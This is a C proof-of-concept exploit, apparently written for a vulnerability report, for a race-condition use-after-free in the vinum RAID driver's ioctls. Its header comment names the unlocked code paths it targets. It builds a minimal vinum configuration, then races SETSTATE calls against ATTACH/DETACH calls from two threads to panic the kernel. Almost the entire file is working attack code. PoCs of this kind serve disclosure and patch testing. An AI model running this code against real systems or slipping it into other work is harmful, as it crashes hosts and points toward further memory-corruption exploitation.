/*
 * DF-4478 PoC: vinum state-machine ioctls run without lock_config() and
 * race configuration changes that free/reallocate the very structures the
 * state walks use -> use-after-free / wild pointer dereference.
 *
 * Sink: sys/dev/raid/vinum/vinumstate.c
 *   vinumstate.c:1004-1028 setstate() object_initializing / plex_object:
 *     `for (sdno = 0; sdno < plex->subdisks; sdno++)
 *          sd = &SD[plex->sdnos[sdno]]'  -- re-reads plex->sdnos each
 *     iteration with no lock; a concurrent VINUM_DETACH (also unlocked,
 *     vinumioctl.c:282-284 -> detachobject, vinumioctl.c:621-624) does
 *     Free(plex->sdnos); plex->sdnos = NULL; plex->subdisks = 0, and a
 *     concurrent VINUM_ATTACH/give_sd_to_plex EXPANDs (Malloc+Free) the
 *     array under lock_config (vinumconfig.c:258 expand of plex->sdnos).
 *   Dispatch: vinumioctl.c:228-238 VINUM_SETSTATE and 277-284 ATTACH/DETACH
 *     take neither lock_config() nor start_config().
 *
 * Thread A hammers VINUM_SETSTATE(plex0, object_initializing, force).
 * Thread B hammers VINUM_ATTACH(sd0 -> plex0, force) / VINUM_DETACH(sd0).
 *
 * Expected on vulnerable kernel: panic in setstate() (NULL/low-address
 * deref of plex->sdnos[i] after concurrent free, or wild SD[garbage]).
 *
 * Needs: kldload vinum; root on /dev/vinum/control.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE		1024
#define REPLYBUF	256
#define REPLYBUF260	260

#define VINUM_CREATE	_IOC(IOC_INOUT, 'F', 64, BUFSIZE)
#define VINUM_SETSTATE	_IOC(IOC_INOUT, 'F', 76, REPLYBUF)
#define VINUM_ATTACH	_IOC(IOC_INOUT, 'F', 87, 260)
#define VINUM_DETACH	_IOC(IOC_INOUT, 'F', 88, 260)

enum { drive_object = 0, sd_object = 1, plex_object = 2, volume_object = 3 };
enum { object_down = 0, object_initializing = 1, object_initialized = 2,
       object_up = 3 };

struct vinum_ioctl_msg_poc {
	int index;
	int type;
	int state;
	int op;
	int force;
	int recurse;
	int verify;
	int otherobject;
	int rename;
	long long offset;
	int blocksize;
};

static int fd;
static volatile int stop;
static volatile unsigned long n_setstate, n_attach, n_detach;

static int
send_line(const char *line)
{
	char buf[BUFSIZE];
	int rc;

	memset(buf, 0, sizeof(buf));
	snprintf(buf, sizeof(buf), "%s", line);
	rc = ioctl(fd, VINUM_CREATE, buf);
	if (rc)
		printf("create \"%s\": rc=%d errno=%d err=%d msg=\"%.60s\"\n",
		    line, rc, errno, *(int *)buf, buf + 4);
	return (rc);
}

static void *
t_setstate(void *arg)
{
	char buf[REPLYBUF];
	struct vinum_ioctl_msg_poc *msg = (struct vinum_ioctl_msg_poc *)buf;

	(void)arg;
	while (!stop) {
		memset(buf, 0, sizeof(buf));
		msg->index = 0;
		msg->type = plex_object;
		msg->state = object_initializing;
		msg->force = 1;
		if (ioctl(fd, VINUM_SETSTATE, buf) == 0)
			n_setstate++;
	}
	return (NULL);
}

static void *
t_attach_detach(void *arg)
{
	char buf[REPLYBUF260 + 8];
	struct vinum_ioctl_msg_poc *msg = (struct vinum_ioctl_msg_poc *)buf;

	(void)arg;
	while (!stop) {
		memset(buf, 0, sizeof(buf));
		msg->index = 0;			/* sd 0 */
		msg->type = sd_object;
		msg->otherobject = 0;		/* plex 0 */
		msg->force = 1;
		if (ioctl(fd, VINUM_ATTACH, buf) == 0)
			n_attach++;

		memset(buf, 0, sizeof(buf));
		msg->index = 0;			/* sd 0 */
		msg->type = sd_object;
		msg->force = 1;
		if (ioctl(fd, VINUM_DETACH, buf) == 0)
			n_detach++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t ta, tb;
	time_t t0 = time(NULL), limit = 45;

	if (argc > 1)
		limit = atoi(argv[1]);

	fd = open("/dev/vinum/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vinum/control (need root, kldload vinum)");
		return (1);
	}

	/* minimal live config: referenced drive + concat plex + one sd
	 * (explicit driveoffset keeps the sd on the allocated-space path) */
	send_line("drive d0");
	send_line("plex name p0 org concat");
	send_line("sd name s0 drive d0 len 2048s driveoffset 0s");
	printf("poc: config created, racing setstate(plex0 init) vs "
	    "attach/detach(sd0) for <=%lds\n", (long)limit);

	pthread_create(&ta, NULL, t_setstate, NULL);
	pthread_create(&tb, NULL, t_attach_detach, NULL);

	while (time(NULL) - t0 < limit) {
		sleep(3);
		printf("poc: setstate=%lu attach=%lu detach=%lu\n",
		    n_setstate, n_attach, n_detach);
	}
	stop = 1;
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);
	printf("poc: survived: setstate=%lu attach=%lu detach=%lu\n",
	    n_setstate, n_attach, n_detach);
	return (0);
}
